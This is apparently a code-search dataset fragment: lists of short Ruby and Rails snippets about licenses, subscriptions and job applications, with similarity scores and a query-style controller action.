"def license(arg = nil)\n set_or_return(:license, arg, kind_of: [String])\n end",
"def license=(o)\n self.licenses = [o]\n end",
"def set_license\n @license = License.find(params[:license_id])\n end",
"def license(name=nil)\n if name\n self.license = name\n else\n if copryrights.first\n copyrights.first.license\n end\n end\n end",
"def subscribed_skus()\n return MicrosoftGraph::SubscribedSkus::SubscribedSkusRequestBuilder.new(@path_parameters, @request_adapter)\n end",
"def set_license\n @license = License.find(params[:id])\n end",
"def set_license\n @license = License.find(params[:id])\n end",
"def set_license\n @license = License.find(params[:id])\n end",
"def license\n @licenses.first\n end",
"def license\n conf['license'] || proj.license\n end",
"def new\n @license = License.new\n end",
"def license\n return self.licenses.first\n end",
"def set_license\n @license = License.find(params[:id])\n end",
"def setMediaLicense(media, license)\n # Set the asset license window\n media['license']['start'] = license[:start]\n media['license']['end'] = license[:end]\n end",
"def license\n return @license\n end",
"def subscription(name = nil, &block)\n Subscription.new(name, &block)\n end",
"def license\n read_property 'License'\n end",
"def uk_driving_licence(*args); end",
"def license name\n self.licenses << name.to_s\n end",
"def license(*args)\n arguments(args, required: [:user, :repo])\n\n get_request(\"/repos/#{arguments.user}/#{arguments.repo}/license\", arguments.params)\n end",
"def subscription\n Zapi::Models::Subscription.new\n end",
"def license(value)\n _license(value) or fail ArgumentError, \"Unknown value for license: #{value}\"\n end",
"def add_licenses=(value)\n @add_licenses = value\n end",
"def licenses=(licenses)\n @licenses = Array licenses\n end",
"def license\n licenses.first\n end",
"def create_stripe_subscription!\n Stripe::Subscription.create(\n customer: create_stripe_customer!,\n tax_percent: Price::DEFAULT_TAX_RATE,\n trial_from_plan: store.eligible_for_trial_subscription?,\n items: [\n {plan: stripe_plan_id},\n ],\n metadata: {store: store.name}\n )\n end",
"def licenses=(new_licenses)\n @licenses = new_licenses\n end",
"def set_custom_subscription\n @custom_subscription = CustomSubscription.find(params[:id])\n @stripe_subscription = Stripe::Subscription.retrieve(@custom_subscription.stripe_sub_id) if @custom_subscription.stripe_sub_id\n end",
"def subscription(options = {})\n\t\t\t# provide the client with another (i.e. the external address) if given\n\t\t\tsub = {server: config[:server_external] || config[:server], timestamp: (Time.now.to_f * 1000).round}.merge(options)\n\t\t\tsub[:signature] = Digest::SHA1.hexdigest([config[:secret_token], sub[:channel], sub[:timestamp]].join)\n\t\t\tsub\n\t\tend",
"def new\n @license = License.new\n respond_with(@license)\n end",
"def licenses=(licenses)\n @licenses = [licenses].flatten\n end",
"def subscription(id)\n Sensit::Api::Subscription.new id, @http_client\n end",
"def initialize(subscription_purchase)\n @subscription_purchase = subscription_purchase\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def subscription(repo, options = {})\n get \"#{Repository.path repo}/subscription\", options\n end",
"def license_url\n case self.license\n when \"cc-by-sa-3.0\"\n \"http://creativecommons.org/licenses/by-sa/3.0/\"\n when \"cc-by-nc-sa-2.0-uk\"\n \"http://creativecommons.org/licenses/by-nc-sa/2.0/uk\"\n end\n end",
"def set_vendor_subscription\n @vendor_subscription = VendorSubscription.find(params[:id])\n end",
"def set_VideoLicense(value)\n set_input(\"VideoLicense\", value)\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def license\n @header.license\n end",
"def set_license\n License.where(name: params[:name]).exists? ? @license = License.find_by(name: params[:name]) : @license = License.find(params[:name])\n end",
"def update!(**args)\n @cc_license = args[:cc_license] if args.key?(:cc_license)\n end",
"def license_url\n get_url(:license)\n end",
"def license=(license)\n if license.nil?\n fail ArgumentError, 'license cannot be nil'\n end\n\n if license.to_s.length < 1\n fail ArgumentError, 'invalid value for \"license\", the character length must be great than or equal to 1.'\n end\n\n @license = license\n end",
"def license(path)\n Licensee.project(path).license\n end",
"def subscription_term; end",
"def license_params\n params.require(:license).permit(:user_id, :product_id, :price, :expiration_date, :address, :accept)\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def subscription=(subscription)\n attributes[:subscription] = subscription\n end",
"def subscription\n attributes[:subscription].to_sym if attributes[:subscription]\n end",
"def licenses\n data[:licenses]\n end",
"def update!(**args)\n @subscription = args[:subscription] if args.key?(:subscription)\n end",
"def update!(**args)\n @subscription = args[:subscription] if args.key?(:subscription)\n end",
"def update!(**args)\n @subscription = args[:subscription] if args.key?(:subscription)\n end",
"def set_subscription_plan\n @subscription_plan = Shoppe::SubscriptionPlan.find(params[:id])\n end",
"def licenses\n @licenses ||= []\n end",
"def set(data={})\n Subscription.new({\n canceled_at: data.fetch('canceled_at', data.fetch(:canceled_at, @canceled_at)),\n plan: data.fetch('plan', data.fetch(:plan, @plan)),\n status: data.fetch('status', data.fetch(:status, @status)),\n })\n end",
"def create_subscription(options)\n # Get the plan.\n plan = Stripe::Plan.retrieve(options[:plan])\n\n # Charge VAT in advance because subscription call will create and pay an invoice.\n # TK actually we need to apply VAT for invoiceitems that are pending and scheduled\n # for the next invoice.\n # Do not charge VAT if the plan or the subscription is still in trial (invoice will come later).\n vat, invoice_item = charge_vat_of_plan(plan) unless \\\n plan.trial_period_days || (options[:trial_end] && options[:trial_end] != 'now')\n\n # Start subscription.\n # This call automatically creates an invoice, always.\n subscription = customer.subscriptions.create(options)\n\n [subscription, last_invoice]\n rescue Stripe::StripeError, Stripe::CardError => e\n # Something failed in Stripe, if we already charged for VAT,\n # we need to rollback this. As we may charge twice later otherwise.\n invoice_item.delete if invoice_item\n raise e\n end",
"def set_subscription\n @subscription = ::Pushar::Core::Subscription.unscoped.find(params[:id])\n end",
"def license\n if ladnn?\n [\"https://creativecommons.org/licenses/by/4.0/\"]\n else\n # If it's populated, DLCS uses MARC IDs, not labels, so we don't need to map like w/ resource_type\n map_field(:license)\n end\n end",
"def set_license_to\n @license_to = LicenseTo.find(params[:id])\n end",
"def create_subscription(options)\n # This call automatically creates an invoice, always.\n Stripe::Subscription.create({\n customer: customer.id,\n tax_percent: calculate_vat_rate\n }.merge(options))\n end",
"def set_driver_license\n @driver_license = DriverLicense.find(params[:id])\n end",
"def license_params\n params.require(:license).permit(:software_id, :expiration_date, :is_active, :email)\n end",
"def license_params\n params.require(:license).permit(:description, :source, :organization_id)\n end",
"def get_subscription subscription_name, options = {}\n subscriber.get_subscription subscription: subscription_path(subscription_name, options)\n end",
"def create\n @license = current_user.licenses.new(license_params)\n set_license_key\n \n respond_to do |format|\n if @license.save\n format.html { redirect_to @license, notice: 'License was successfully created.' }\n format.json { render :show, status: :created, location: @license }\n else\n format.html { render :new }\n format.json { render json: @license.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_license(license_id)\n rsp = @flickr.send_request('flickr.photos.licenses.setLicense', {:photo_id => self.id, :license_id => license_id}, :post)\n true\n end",
"def subscription\n case attributes['subscription']\n when 'both' then :both\n when 'from' then :from\n when 'none' then :none\n when 'remove' then :remove\n when 'to' then :to\n else nil\n end\n end",
"def purchase_subscription\n\t\tif self.total > 0\n\t\t\tresponse = GATEWAY.recurring(self.total, credit_card, options_recurring)\n\t\t\tOrderTransaction.create!(\t:action => \"subscription\",\n\t\t\t \t\t\t\t\t\t\t:order_id => self.id,\n\t\t\t\t\t\t\t\t\t\t:price => self.total, \n\t\t\t\t\t\t\t\t\t\t:success => response.success?, \n\t\t\t\t\t\t\t\t\t\t:reference => response.authorization,\n\t\t\t\t\t\t\t\t\t\t:message => response.message,\n\t\t\t\t\t\t\t\t\t\t:params => response.params,\n\t\t\t\t\t\t\t\t\t\t:test => response.test? \n\t\t\t\t\t\t\t\t\t\t)\n\n\t\t\tif response.success?\n\t\t\t\t#todo check the subscription_id setting\n\t\t\t\tSubscribing.create!(\t:user_id => self.user.id,\n\t\t\t\t\t\t\t\t\t\t:order_id => self.id,\n\t\t\t\t\t\t\t\t\t\t:subscription_id => self.sku.sku_items.first.item.id,\n\t\t\t\t\t\t\t\t\t\t:status => 'ActiveProfile',\n\t\t\t\t\t\t\t\t\t\t:profile_id => self.order_transaction.params[\"profile_id\"],\n\t\t\t\t\t\t\t\t\t\t:origin => 'paid',\n\t\t\t\t\t\t\t\t\t\t:trial_end_date => options_recurring[:starting_at]\n\t\t\t\t\t\t\t\t\t)\n\t\t\tend\n\n\t\t\tresponse.success?\n\t\telse\n\t\t\treturn false\t\t\n\t\tend\n\tend",
"def subscriptions()\n return MicrosoftGraph::Subscriptions::SubscriptionsRequestBuilder.new(@path_parameters, @request_adapter)\n end",
"def add_licenses\n return @add_licenses\n end",
"def set_stripe_subscription\n @stripe_subscription = StripeSubscription.find(params[:id])\n end",
"def set_api_subscription\n @api_subscription = Api::Subscription.find(params[:id])\n end",
"def new\n @subscription = Subscription.new\n end",
"def kind\n @subscription_purchase.kind\n end",
"def initialize(configuration, options = {})\n super(configuration, 'subscriptions', 'Microsoft.Resources', options)\n end",
"def licenses(options = {})\n Licensee::License.all(options)\n end",
"def license_type=(value)\n @license_type = value\n end",
"def purchase!\n if ratepay?\n capture!\n elsif adyen_cc_payment?\n authorize!\n capture!\n else\n super\n end\n end",
"def create_new_subscription\n @subscription_offers = Subscription.get_subscription_list\n end",
"def as_stripe_subscription(expand = {})\n Stripe::Subscription.retrieve(\n { id: stripe_id, expand: expand }, owner.stripe_options\n )\n end",
"def create\n megam_rest.post_license(to_hash)\n end"
] | [
"0.64774656",
"0.6450602",
"0.64355344",
"0.63883454",
"0.6070333",
"0.60698575",
"0.6009567",
"0.6000832",
"0.6000832",
"0.6000832",
"0.59937024",
"0.5977112",
"0.5959219",
"0.5957702",
"0.5851467",
"0.58231527",
"0.57938653",
"0.57728934",
"0.5760152",
"0.5750064",
"0.5748775",
"0.57296693",
"0.569907",
"0.5668617",
"0.5659431",
"0.5645723",
"0.56395316",
"0.563626",
"0.5630059",
"0.5627541",
"0.5611941",
"0.5611402",
"0.56000644",
"0.55831987",
"0.55531335",
"0.553705",
"0.55274814",
"0.55270433",
"0.5519034",
"0.55138105",
"0.5500906",
"0.5500906",
"0.5500906",
"0.5500906",
"0.5500906",
"0.5500906",
"0.5500906",
"0.5500906",
"0.5500906",
"0.5500906",
"0.5500906",
"0.5500906",
"0.5500906",
"0.5500906",
"0.54857373",
"0.54830986",
"0.5466217",
"0.54313034",
"0.54261774",
"0.5407542",
"0.54008347",
"0.5383436",
"0.5381597",
"0.5381597",
"0.5381597",
"0.5378208",
"0.53697425",
"0.5360301",
"0.5356024",
"0.5356024",
"0.53559875",
"0.53460616",
"0.5339883",
"0.5318677",
"0.5307406",
"0.53053486",
"0.52952886",
"0.5289379",
"0.5286077",
"0.5279195",
"0.527912",
"0.52723914",
"0.52717274",
"0.52671546",
"0.5265467",
"0.5248406",
"0.52395",
"0.52258956",
"0.52103645",
"0.52078205",
"0.52074516",
"0.5198429",
"0.5185363",
"0.5178134",
"0.51779515",
"0.5176881",
"0.51669824",
"0.51515126",
"0.5143282",
"0.51426554"
] | 0.61974055 | 4 |
Enables debug mode, which will print information about the HTTP request and response to $stdout. Returns self to accommodate method chaining. | def with_debug
@debug = true
self
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def debug!\n @client.debug_dev = STDOUT\n end",
"def set_debug(request_path, response_path)\n @debug = true\n @debug_request_path = request_path\n @debug_response_path = response_path\n end",
"def toggle_debug!\n stream = @config[:debug]\n\n if stream.respond_to?(:<<)\n self.class.debug_output(stream)\n else\n self.class.debug_output\n end\n end",
"def http_debug(http_debug_bool)\n Facter::Options[:http_debug] = http_debug_bool\n end",
"def http_debug?\n Options[:http_debug]\n end",
"def debug(*args)\n self.level = DEBUG if $DEBUG\n super\n end",
"def debug_output= logger\n @debug_output = logger\n @rpc.instance_eval(\"@http\").set_debug_output logger\n end",
"def debug!\n self.severity = :DEBUG\n end",
"def debug!(value = true)\n if options.key?(:trace) && options[:trace] != false\n Vedeu.log(\"Configuration::API debug: true\")\n\n options[:debug] = true\n\n else\n Vedeu.log(\"Configuration::API debug: #{value}\")\n\n options[:debug] = value\n\n end\n end",
"def force_debug\n self.level = :debug\n @level_frozen = true\n end",
"def debug\n @@debug ||= false\n end",
"def debug_mode\n @configuration[:debug_mode] = true\n end",
"def debug! \n $DEBUG = true\n end",
"def debug(m=nil)\n # return unless Logging.debug?\n logger = Log4r::Logger.new \"Mauve::HTTPServer\"\n logger.debug(m || yield)\n end",
"def debug=(val)\n Handsoap::Service.logger = (val ? $stdout : nil)\n @@debug = val\n end",
"def debug_on(debug=true)\n ap \"Debugging is ON\"\n @debug = debug\n end",
"def debugging(bool)\n @@debug = bool\n end",
"def toggle_debug\n @debug = @debug == false ? true : false\n end",
"def debug_request(flag='on', *_)\n case flag.downcase\n when \"off\", \"false\", \"0\", \"nil\"\n @debug = false\n else\n @debug = true\n end\n end",
"def debug state=true\n @debug = state\n end",
"def debug=(_)\n Nitro.mode = :debug\n end",
"def debug(dev=$stdout)\n current_logger = Grit.logger\n current_debug = Grit.debug\n begin\n Grit.logger = Logger.new(dev)\n Grit.debug = true\n yield\n ensure\n Grit.logger = current_logger\n Grit.debug = current_debug\n end\n end",
"def debugging(debug_bool)\n Facter::Options[:debug] = debug_bool\n end",
"def debug\n Puppet::Util::Log.level = :debug\n end",
"def debug(*args, &block)\n add_with_options(DEBUG, *args, &block)\n end",
"def debug\n logger.add(Logger::DEBUG, nil, facility) { yield } if logger && logger.debug?\n end",
"def debug\n\t\t\texec_parsed_action('debug', [], false)\n\t\tend",
"def log_request_debug(env, req_id)\n debug { \"{#{req_id}} [OUT] #{env.body}\" }\n end",
"def debug=(truthy=false)\n\t@debug=truthy\n end",
"def request(verb, path, opts = {}, &block)\n __ext_debug(binding)\n super\n end",
"def debug_mode\n orig = @@debug_mode\n @@debug_mode = true\n yield\n @@debug_mode = orig\n end",
"def debug(info)\n puts(info) if @debug\n end",
"def set_debug\n ctrlr = params[:controller]&.to_sym\n ctrlr = nil unless SPECIAL_DEBUG_CONTROLLERS.include?(ctrlr)\n debug_parameters =\n url_parameters.keys.map { |k|\n case k.to_s\n when 'debug' then context = ctrlr\n when 'app.debug' then context = nil\n when /^app\\.([^.]+)\\.debug$/ then context = $1\n else next\n end\n [context, params.delete(k)]\n }.compact.to_h\n return if debug_parameters.empty?\n\n on = true\n off = application_deployed? && !dev_client? && :delete\n\n debug_parameters.each_pair do |context, debug|\n key = context ? \"app.#{context}.debug\" : 'app.debug'\n log = \"#{__method__}: #{key}=#{debug.inspect} -> %s\"\n state =\n if debug.to_s.casecmp?('reset') then Log.info(log % 'RESET') || off\n elsif false?(debug) then Log.info(log % 'OFF') || off\n elsif true?(debug) then Log.info(log % 'ON') || on\n else Log.warn(log % 'UNEXPECTED')\n end\n case state\n when true, false then session[key] = state\n when :delete then session.delete(key)\n else # no change\n end\n end\n\n will_redirect\n end",
"def debug\n @transform_tasks.push(\n add_transform_task('debug')\n )\n response = UploadUtils.make_call(url, 'get')\n JSON.parse(response.body)\n end",
"def debugging?\n Options[:debug]\n end",
"def debug?\n true\n end",
"def debug?\n true\n end",
"def debug(*args)\n log&.debug(*args)\n end",
"def debug?\n instance.options[:debug]\n end",
"def debug?\n instance.options[:debug]\n end",
"def debug(*args, &block)\n logger_instance.debug(args, &block)\n end",
"def debug(str)\n $stderr.puts(str) if @debug\n end",
"def do_debug\n # debugging = true\n debugging = false\n puts yield if debugging\n end",
"def debug(msg)\n STDERR.puts msg if options.key? :debug\n end",
"def debug(current_resolver_depth)\n # debug info will be returned if you call yield here, but it seems to be\n # broken in current Molinillo\n nil\n end",
"def log_traffic=(enable)\n @log_traffic = enable\n logger.level = Logger::DEBUG if enable\n end",
"def enable_debug(file = nil)\n set_debug_file(file.to_s)\n self\n end",
"def debug=(new_debug)\n LOGGER.debug = new_debug\n end",
"def debug=(new_debug)\n LOGGER.debug = new_debug\n end",
"def debug_info(address, body, response)\n puts \"Request: #{address}\"\n puts \"Body: #{body}\"\n puts \"Response: #{response.body}\"\n end",
"def debug(*info)\n puts(info) if debug_mode?\n end",
"def debug(message)\n $stderr.puts(message) if @options[:debug]\nend",
"def debug(object, diff = true, **options)\n ::Piktur.debug(object, diff, options)\n end",
"def __debug(*args, **opt, &block)\n __debug_impl(*args, **opt, &block)\nend",
"def enable_logging(logger = Logger.new(STDOUT), log_level: Logger::DEBUG)\n stack.after 'request.factory', 'request.logger', AsyncRequestLogger.new(logger, log_level: log_level)\n stack.before 'response.factory', 'response.logger', AsyncResponseLogger.new(logger, log_level: log_level)\n self\n end",
"def debug(str)\n @stdout_log.debug(str) if @vars[:log_stdout]\n @log.debug(str)\n end",
"def set_debug\n @debug = Debug.find(params[:id])\n end",
"def debug(message)\n puts message if debug?\n end",
"def debug(message)\n stdout.print(\"#{message}\\n\") if ENV['DEBUG']\n end",
"def log_response_debug(_env, resp, req_id)\n debug { \"{#{req_id}} [IN] #{resp.body}\" }\n end",
"def enable_enhanced_logging=(enable)\n self.enable_debug_logging = enable\n self.aces_level = (enable ? 'full' : 'none')\n end",
"def before_request(uri, http_verb = :get, options = {})\n if ENV['REMOTELY_DEBUG']\n puts \"-> #{http_verb.to_s.upcase} #{uri}\" \n puts \" #{options.inspect}\"\n end\n end",
"def debug(*args)\n log(:debug, *args)\n end",
"def update!(**args)\n @enable_debugging = args[:enable_debugging] if args.key?(:enable_debugging)\n end",
"def update!(**args)\n @enable_debugging = args[:enable_debugging] if args.key?(:enable_debugging)\n end",
"def debug?\n @@debug\n end",
"def allow_net_debug=(val)\n\t RequestStore.net_debug = val\n\tend",
"def allow_net_debug=(val)\n\t RequestStore.net_debug = val\n\tend",
"def trace!\n request! :trace\n end",
"def restart_debug\n restart do\n debug\n end\n end",
"def debug!\n return false if @debug_was_enabled_by # Prevent multiple calls\n\n config.debug ||= true # Enable debug mode in config if it wasn't enabled from other sources\n @debug_was_enabled_by = caller_locations(1, 1)[0].to_s\n\n configure do\n group :yabeda\n\n histogram :collect_duration,\n tags: %i[location], unit: :seconds,\n buckets: [0.0001, 0.001, 0.005, 0.01, 0.025, 0.05, 0.1, 0.25, 0.5, 1, 2.5, 5, 10, 30, 60].freeze,\n comment: \"A histogram for the time required to evaluate collect blocks\"\n end\n\n adapters.each_value(&:debug!)\n\n true\n end",
"def debug; end",
"def debug; end",
"def debug; end",
"def debug; end",
"def log_http_request(request)\n log :info, \"Starting request: #{request.method} #{request.path}\"\n\n return unless log_debug?\n\n log :debug, \" body : #{request.body}\"\n log :debug, \" headers :\"\n request.each_header do |name, value|\n log :debug, \" #{name}: #{value}\"\n end\n end",
"def initialize debug_options = {}\n @debug_options = debug_options\n end",
"def debug?\n self[:debug] == 'true'\n end",
"def __debug_impl(*args, **opt, &block)\n opt.reverse_merge!(\n debug: true,\n leader: DEBUG_LEADER,\n max: DEBUG_MAX,\n omission: '...'\n )\n __output_impl(*args, **opt, &block)\nend",
"def debug?; run_options[:debug]; end",
"def debug=(flag)\n ENV['debug'] = nil\n ENV['DEBUG'] = flag.to_s\n end",
"def debug?\n $DEBUG\n end",
"def debug?\n @@debug\n end",
"def log_debug\n\t\t\t@log_debug_proxy ||= ClassNameProxy.new( self.class, true )\n\t\tend",
"def log_debug\n\t\t\t@log_debug_proxy ||= ClassNameProxy.new( self.class, true )\n\t\tend",
"def log_debug\n\t\t\t@log_debug_proxy ||= ClassNameProxy.new( self.class, true )\n\t\tend",
"def log_debug\n\t\t\t@log_debug_proxy ||= ClassNameProxy.new( self.class, true )\n\t\tend",
"def log_debug\n\t\t\t@log_debug_proxy ||= ClassNameProxy.new( self.class, true )\n\t\tend",
"def debug(message)\n ostream.puts message if $DEBUG\n end",
"def debug?\n false\n end",
"def debug status=true\n\t\t@debuggable_status = !!status\n\tend",
"def debug?\n !!@debug # rubocop:disable Style/DoubleNegation\n end",
"def make_verbose(request)\n request.options[:verbose] = true\n\n request.on_complete do |response|\n puts\n puts 'Request body:'\n puts request.options[:body]\n puts\n puts 'Response body:'\n puts response.body\n puts\n end\n end",
"def debug?; end",
"def debug?; end",
"def debug(s) if $DEBUG then $stderr.print(\"#{s}\\n\") end end",
"def debug(msg)\n puts \"[watchr debug] #{msg}\" if options.debug\n end",
"def get\n super\n .tap { |result| __ext_debug(\"--> #{result.inspect}\") }\n end",
"def debug(depth = 0)\n if debug?\n debug_info = yield\n debug_info = debug_info.inspect unless debug_info.is_a?(String)\n debug_info = debug_info.split(\"\\n\").map { |s| \":#{depth.to_s.rjust 4}: #{s}\" }\n output.puts debug_info\n end\n end",
"def debug?\n @debug || ENV['HATCHET_DEBUG'] || false\n end"
] | [
"0.7378089",
"0.6683502",
"0.6538428",
"0.6479609",
"0.64624435",
"0.6414529",
"0.6286613",
"0.6282566",
"0.622785",
"0.61583436",
"0.6107006",
"0.6103878",
"0.609419",
"0.6087524",
"0.60866827",
"0.6036214",
"0.6030016",
"0.6002313",
"0.59800905",
"0.5927372",
"0.58904165",
"0.58845985",
"0.5884106",
"0.5879698",
"0.5867151",
"0.5800895",
"0.57634854",
"0.5728542",
"0.5707709",
"0.5702157",
"0.56996334",
"0.56222886",
"0.56107485",
"0.5609896",
"0.55827326",
"0.55355656",
"0.55355656",
"0.5532336",
"0.551453",
"0.551453",
"0.5506049",
"0.5490429",
"0.54898655",
"0.5478993",
"0.54703003",
"0.5469871",
"0.5467021",
"0.5463155",
"0.5463155",
"0.5457663",
"0.54343104",
"0.54297954",
"0.5409189",
"0.5406815",
"0.53953487",
"0.53847945",
"0.5374132",
"0.5370697",
"0.53694284",
"0.5368482",
"0.536458",
"0.5349611",
"0.53406",
"0.5339938",
"0.5339938",
"0.5337585",
"0.5332516",
"0.5332516",
"0.53287",
"0.53253585",
"0.5324072",
"0.53095376",
"0.53095376",
"0.53095376",
"0.53095376",
"0.53083515",
"0.53072286",
"0.52913976",
"0.5286577",
"0.5278499",
"0.52502924",
"0.52494997",
"0.52460724",
"0.52344733",
"0.52344733",
"0.52344733",
"0.52344733",
"0.52344733",
"0.52335215",
"0.5232932",
"0.5229612",
"0.5224079",
"0.52158654",
"0.52121085",
"0.52121085",
"0.52071065",
"0.5201097",
"0.51997715",
"0.51892555",
"0.51861054"
] | 0.71069044 | 1 |
GET /applications GET /applications.json | def index
@jobs = Job.all
if current_role == :admin
@applications = Application.all
elsif current_role == :recruiter
@applications = Application.all.select{|n| @jobs.exists?(n.job_id) && @jobs.find(n.job_id).company_id == current_user.company_id}
else
@applications = Application.all.select{|n| n.user_id==current_user.id}
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def applications_list\n get \"applications\"\n end",
"def get_applications\n http_get_request(Scalarium.applications_url)\n end",
"def index\n @applications = Application.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @applications }\n end\n end",
"def index # testing purposes only\n applications = Application.includes(:user).all\n\n render json: applications\n end",
"def index\n @applications = Application.all\n\n respond_to do |format|\n format.html # index.html.haml\n format.json { render json: @applications }\n end\n end",
"def show\n @applications_application = ApplicationsApplication.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @applications_application }\n end\n end",
"def applications\n Application.from session.get 'operations/application', API_V1\n end",
"def index\n respond_with @applications = Application.all\n end",
"def get_applist\n return get_response(\"applist\", :json)\n end",
"def show\n @application = Application.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @application }\n end\n end",
"def show\n @application = Application.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @application }\n end\n end",
"def applications(options = {})\n @applications = api.get_applist if !@applications\n @applications\n end",
"def get_applications\n\t\tApplication.where(\"api_user_id = ?\", id)\n\tend",
"def list_applications(client)\n client.applications.each do |application|\n puts \"Application: #{application.name}\"\n puts \" Description: #{application.description}\"\n puts \" Status: #{application.status}\"\n puts \" Href: #{application.href}\"\n end \nend",
"def index\n @apps = @client.apps\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @apps }\n end\n end",
"def show\n @application = Application.find(params[:id])\n\n respond_to do |format|\n format.html # show.haml\n format.json { render json: @application }\n end\n end",
"def index\n @applications = Application.all\n end",
"def index\n @applications = Application.all\n end",
"def index\n @applications = Application.all\n end",
"def index\n @applications = Application.all\n end",
"def get_applications_of_user\n respond_to do |format|\n format.json {\n @project_applications = ProjectApplication.where(:user_id => @current_user.id)\n if @project_applications\n render :json => @project_applications\n else\n render :nothing => true, :status => 200, :content_type => 'text/html'\n end\n }\n end\n end",
"def getApplications(ak)\n uri='https://api.newrelic.com/v2/applications.json'\n parseUrl=URI.parse(uri)\n host=parseUrl.host\n path=parseUrl.path\n getRequest(ak,uri,host,path)\nend",
"def applications\n get(PLURAL_PATH, RESOURCE)\n end",
"def show\n #表示は誰でもできる\n @application = Application.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @application }\n end\n end",
"def app data={}\n get '/app', data\n end",
"def list_applications(workspace_id)\n # check and reauthenticate\n self.isTokenExpired()\n\n results = []\n url = @api_url + \"/api/workspaces/#{workspace_id}/applications\"\n headers = {:accept => :json, :authorization => \"bearer #{@access_token}\"}\n\n RestClient.proxy = @proxy\n\n begin\n r = RestClient.get url, headers\n rescue RestClient::ExceptionWithResponse => e\n puts e.response\n end\n\n applications = JSON.parse(r.body)['data']\n #application_count = JSON.parse(r.body)['TotalResults']\n\n #puts \"applications dump is #{JSON.pretty_generate(applications)}\\napplication count is #{application_count}\"\n\n applications.each do |application|\n results.push(application)\n end\n return results\n end",
"def show\n @program_app = ProgramApp.find(params[:id])\n\n respond_to do |format|\n format.json do\n render json: @program_app\n end\n end\n end",
"def show\n respond_with @application = Application.find(params[:id])\n end",
"def index\n if current_user\n @applications = Application.where(user_id: current_user.id)\n else\n redirect_to root_path\n end\n end",
"def get_applications_of_project\n respond_to do |format|\n param = params[:payload]\n format.json {\n @project_applications = ProjectApplication.where(:project_id => Project.find_by_id(param[:id]))\n if @project_applications\n render :json => @project_applications\n else\n render :nothing => true, :status => 200, :content_type => 'text/html'\n end\n }\n end\n end",
"def get(id)\n response = Network.get(['Applications', id])\n Application.new(response)\n end",
"def show\n @app = @client.app(params[:id])\n @paas_providers = cached_providers\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @app }\n end\n end",
"def get_applications(opts = {})\n data, _status_code, _headers = get_applications_with_http_info(opts)\n data\n end",
"def show\n @app = App.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @app }\n end\n end",
"def show\n @app = App.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @app }\n end\n end",
"def show\n @app = App.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @app }\n end\n end",
"def index\n @app = App.new\n @apps = App.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @apps }\n end\n end",
"def show\n render json: @application\n end",
"def applications(params = {}) # rubocop:disable Style/OptionHash\n page_limit = params.delete(:page_limit) { 1 }\n\n applications_array = []\n 1.upto page_limit do |i|\n response = request_applications(params.merge(page: i))\n applications_array += response[\"applications\"]\n break if response[\"paginationComplete\"]\n end\n applications_array\n end",
"def list()\n path = \"/query/apps\"\n conn = multipart_connection(port: 8060)\n response = conn.get path\n\n if response.success?\n regexp = /id=\"([^\"]*)\"\\stype=\"([^\"]*)\"\\sversion=\"([^\"]*)\">([^<]*)</\n apps = response.body.scan(regexp)\n printf(\"%30s | %10s | %10s | %10s\\n\", \"title\", \"id\", \"type\", \"version\")\n printf(\"---------------------------------------------------------------------\\n\")\n apps.each do |app|\n printf(\"%30s | %10s | %10s | %10s\\n\", app[3], app[0], app[1], app[2])\n end\n end\n end",
"def index\n @user_apps = UserApp.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @user_apps }\n end\n end",
"def applist(options:)\n path = \"/query/apps\"\n response = nil\n multipart_connection(port: 8060) do |conn|\n response = conn.get path\n end\n\n if response.success?\n regexp = /id=\"([^\"]*)\"\\stype=\"([^\"]*)\"\\sversion=\"([^\"]*)\">([^<]*)</\n apps = response.body.scan(regexp)\n printf(\"%30s | %10s | %10s | %10s\\n\", \"title\", \"id\", \"type\", \"version\")\n printf(\"---------------------------------------------------------------------\\n\")\n apps.each do |app|\n printf(\"%30s | %10s | %10s | %10s\\n\", app[3], app[0], app[1], app[2])\n end\n end\n end",
"def show\n @user_app = UserApp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_app }\n end\n end",
"def app_by_id(id)\n get(\"/apps/#{id}\")\n end",
"def show\n @application = Application.find(params[:id])\n end",
"def index\n @client_applications = ClientApplication.all\n end",
